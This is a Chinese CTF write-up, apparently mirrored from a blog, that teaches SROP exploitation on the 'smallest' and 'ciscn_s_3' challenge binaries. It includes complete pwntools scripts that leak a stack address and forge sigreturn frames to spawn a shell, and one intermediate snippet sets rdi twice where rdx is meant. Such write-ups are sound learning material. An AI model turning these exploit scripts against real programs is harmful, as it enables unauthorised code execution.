SROP学习 smallest & ciscn

您所在的位置:网站首页 bjdctf 2nd SROP学习 smallest & ciscn

SROP学习 smallest & ciscn

2023-03-21 01:51| 来源: 网络整理| 查看: 265

前情提要:

SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。 主要意思是靠系统调用劫持程序流。 SROP在64位下的系统调用号为0x0F,也就是15。

smallest

来自i春秋

Checksec & IDA

在这里插入图片描述 三无,直接看源码。 在这里插入图片描述 确实挺small的,整个程序只有这几行代码,应该是汇编手撸的静态链接。 每行代码的意思分别是: 置零rax寄存器 将0x400放入rdx的低32位寄存器中,也就是第三参数 将rsi置为rsp,也就是buf,第二参数 将rdi置为rax,也就是第一参数 那么很明显,就是一个函数: syscall(0, 0 , buf , 0x400) read(0, buf, 0x400) 很显然存在栈溢出,但是我们要怎么利用呢? 这里存在syscall,可以考虑一下SROP。

EXP:

SROP的利用条件有4个:

存在栈溢出漏洞,可以控制栈上的内容需要知道栈的地址,比如binsh需要知道syscall的地址需要知道sigreturn调用的地址

那么我们来验证本题是否满足这些条件: 首先是第一个,栈溢出漏洞,不用想 肯定满足 第二个,需要知道栈的地址。 我们可以利用rax寄存器会存储read函数读取的字符数量这一点来构造,那么第二点也是可行的。 syscall的地址,也是知道的 sigreturn调用的地址,也就是 mov rax, 0x0F 我们也可以通过read函数。

显然 结果是可行。 那么我们该如何构建EXP呢? 我们先使用GDB调试一下程序看看。 在这里插入图片描述 可以发现程序在试图返回到我们输入的地址,也就是我们输入的字符串会被当作返回地址使用。 那么如果我们输入了程序上一条指令的地址会怎样呢?比如0x4000B0 在这里插入图片描述 发现rsp指针指向了0x4000B0,也就是说是可行的。 我们填充3个0x4000B0,栈上的情况就会类似这样: 在这里插入图片描述 rsp会指向下一个指令,而正好现在它被覆盖成了xor rax, rax。也就是说会从头开始重新执行一次程序。 那么我们有没有什么办法可以跳出这个循环呢?有的。 当我们执行start1的时候,rsp指针会指向start2,当我们这时候输入一些数据的时候,它就会覆盖掉那一部分数据。 由于是小端序,所以会反过来覆盖。 那么如果我直接覆盖掉地址,比如覆盖成下一个指令的地址会怎样呢? 比如我输入’\xB3’ 在这里插入图片描述 在这里插入图片描述 我们可以发现程序打印出了0x400大小的数据,为什么会打印呢? 因为read读取了1字节长度的数据,也就是’\xB3’,使rax = 1 而正因为0x4000B3是下一条指令,跳过了置零rax寄存器的那条指令,执行的函数从 syscall(0, 0 , buf , 0x400) read(0, buf, 0x400) 变为了 syscall(1, 0 , buf , 0x400) write(0, buf, 0x400) 也就是打印0x400大小的数据出来。 很巧合的是,我们正好可以从中获取栈地址。 我们只需要接收start2之后的信息即可。 也就是在这里插入图片描述

stack_addr = u64(io.recv()[8:16]) log.success('Stack Address: ' + (hex(stack_addr)))

可以发现成功泄露了栈上的地址出来。 在这里插入图片描述 我们构建一个read函数的SigreturnFrame。框架大致如下: 在这里插入图片描述 代码如下:

read = SigreturnFrame() read.rax = 0 read.rdi = 0 read.rsi = stack_addr read.rdx = 0x400 read.rsp = stack_addr read.rip = syscall_ret

那么我们还需要构建一个能让rax=15的payload,这部分我们该如何构建呢? 我们发现,我们输入了3次startaddr,也就是0x4000B0,这就是为什么。 我们可以通过第三次read,也就是start3来修改栈上的内容。 我们需要将以下payload送入栈中:

payload = start_addr + syscall_ret + bytes(read)

为什么要这样呢?因为我们下一步构建execve的SROP框架也需要使用read函数。 那么栈上的情况就会变成这样: 在这里插入图片描述 但是问题又来了,我们需要构造15字节长度的Payload,显然这里不止15字节。 但是我们发现,我们如果不动0x4000B0的话,正好可以达到这个要求。

payload[8:8+15]

意思是从索引8开始,一直读取到索引22,正好是15个字符,正好跳过了0x4000B0,一石二鸟。 那么目前Payload就是这样的:

from pwn import * io = process('./smallest') context(arch='amd64', os='linux', log_level='debug') syscall_ret = 0x4000BE start_addr = 0x4000B0 payload = p64(0x4000B0) * 3 io.send(payload) io.send(b'\xB3') stack_addr = u64(io.recv()[8:16]) log.success('Stack Address: ' + (hex(stack_addr))) read = SigreturnFrame() read.rax = 0 read.rdi = 0 read.rsi = stack_addr read.rdx = 0x400 read.rsp = stack_addr read.rip = syscall_ret payload = p64(start_addr) + p64(syscall_ret) + bytes(read) io.send(payload) io.send(payload[8:8+15]) print(len(payload[8:8+15])) io.interactive()

可以发现正好是15字节。 在这里插入图片描述 然后我们开始构建第二个SROP框架,也就是execve的。

execve_srop = SigreturnFrame() execve_srop.rax = 59 execve_srop.rdi = stack_addr + 0x120 execve_srop.rsi = 0 execve_srop.rdi = 0 execve_srop.rsp = stack_addr execve_srop.rip = syscall_ret

也就是这样。 那么我们该如何放入栈中呢?和之前的read是一样的思路。

payload = p64(start_addr) + p64(syscall_ret) + bytes(execve_srop)

但是问题来了,execve的第一参数是binsh,而我们设置的是stack_addr + 0x120,我们是如何确定binsh_addr的位置的? 这里我们需要知道我们这个框架的payload大小是多少,很简单,print就行。 在这里插入图片描述 可以发现是264个字节。 那么事情就很明朗了。

frame_payload = p64(start_addr) + p64(syscall_ret) + bytes(execve_srop) payload = frame_payload + (0x120 - len(frame_payload)) * b'\x00' + b'/bin/sh\x00' io.send(payload) io.send(payload[8:8+15])

我们只需要将前面的payload构建到0x120大小,再送入binsh即可。 完整Payload:

from pwn import * io = process('./smallest') context(arch='amd64', os='linux', log_level='debug') syscall_ret = 0x4000BE start_addr = 0x4000B0 payload = p64(start_addr) * 3 io.send(payload) io.send(b'\xB3') stack_addr = u64(io.recv()[8:16]) log.success('Stack Address: ' + (hex(stack_addr))) read = SigreturnFrame() read.rax = 0x0 read.rdi = 0x0 read.rsi = stack_addr read.rdx = 0x400 read.rsp = stack_addr read.rip = syscall_ret payload = p64(start_addr) + p64(syscall_ret) + bytes(read) io.send(payload) io.send(payload[8:8+15]) execve_srop = SigreturnFrame() execve_srop.rax = 59 execve_srop.rdi = stack_addr + 0x120 execve_srop.rsi = 0x0 execve_srop.rdx = 0x0 execve_srop.rsp = stack_addr execve_srop.rip = syscall_ret frame_payload = p64(start_addr) + p64(syscall_ret) + bytes(execve_srop) payload = frame_payload + (0x120 - len(frame_payload)) * b'\x00' + b'/bin/sh\x00' io.send(payload) io.send(payload[8:8+15]) io.interactive() ciscn_s_3

本题的ret2csu的解法不知道为什么CSDN给我吞了,有空给他重新写一下。

Checksec & IDA

在这里插入图片描述 看保护感觉不是太难的程序,实际上在做了这么多题目之后感觉确实不是很难,只不过我有点忘了ret2csu罢了。 现在学了SROP,觉得是真的简单。 做完smallest,感觉ciscn_s_3就是smallest的简化版本。 出题人给你提供了sigreturn syscall,给你提供了read、write。甚至不需要考虑什么构建栈上内容。 偏移就用之前算好的0x148和0x118。

EXP:

拿地址的部分我就不细说了

sigreturn_addr = 0x4004DA syscall_ret = 0x400517

泄露部分也是,我们泄露栈的地址,以此作为SROP存放的地址,然后我们用这个地址计算出输入的字符串,也就是binsh的地址,即可getshell。 比ret2csu简单到不知道哪里去。 完整EXP:

from pwn import * io = process('./CISCN_2019_PWN3') elf = ELF('./CISCN_2019_PWN3') context(arch='amd64', os='linux', log_level='debug') sigreturn_addr = 0x4004DA syscall_ret = 0x400517 sigreturn_addr = 0x4004DA syscall_ret = 0x400517 vuln = elf.sym['vuln'] io.sendline(b'A' * 0x10 + p64(vuln)) io.recv(0x20) stack_addr = u64(io.recv(8)) binsh_addr = stack_addr - 0x148 execve = SigreturnFrame() execve.rax = 59 execve.rdi = binsh_addr execve.rsi = 0 execve.rdx = 0 execve.rsp = 0 execve.rip = syscall_ret payload = b'/bin/sh\x00' * 2 + p64(sigreturn_addr) + p64(syscall_ret) + bytes(execve) io.sendline(payload) io.interactive()

具体思路就这样子,要更细点说的话 其实我觉得smallest都已经说完了。 首先通过栈溢出漏洞泄露栈地址,通过栈地址和栈的基址计算偏移 基址是rsi寄存器存储的,一开始运行程序就可以得到。 在这里插入图片描述 在这里插入图片描述 其实看IDA也看得出来。 然后随便输入内容 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 我稍微测试了一下,在Ubuntu 18.04中,这个偏移是0x118。 我现在的系统是Ubuntu 22.04,因此做题目打远程的时候需要使用0x118。 然后是构建execve的SROP结构。使用Pwntools自带的SigreturnFrame()函数即可轻松秒杀。

execve = SigreturnFrame() execve.rax = 59 execve.rdi = binsh_addr execve.rsi = 0 execve.rdx = 0 execve.rsp = 0 execve.rip = syscall_ret

rax寄存器存放系统调用号 rdi存放第一参数 rsi存放第二参数 rdx存放第三参数 rsp不用管,设为0也行。 rip作为syscall_ret,这个SROP基本不变。 然后就没有然后了,注意一下binsh的位置就行。 泄露出来的地址是stack_addr,减去0x118或者0x148,然后payload这样构建就能getshell。

b'/bin/sh\x00' * 2 + p64(sigreturn_addr) + p64(syscall_ret) + bytes(execve)

最后附一张今天学习SROP时跟着大佬做的流程图: 在这里插入图片描述 有错误请在评论区中指出。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3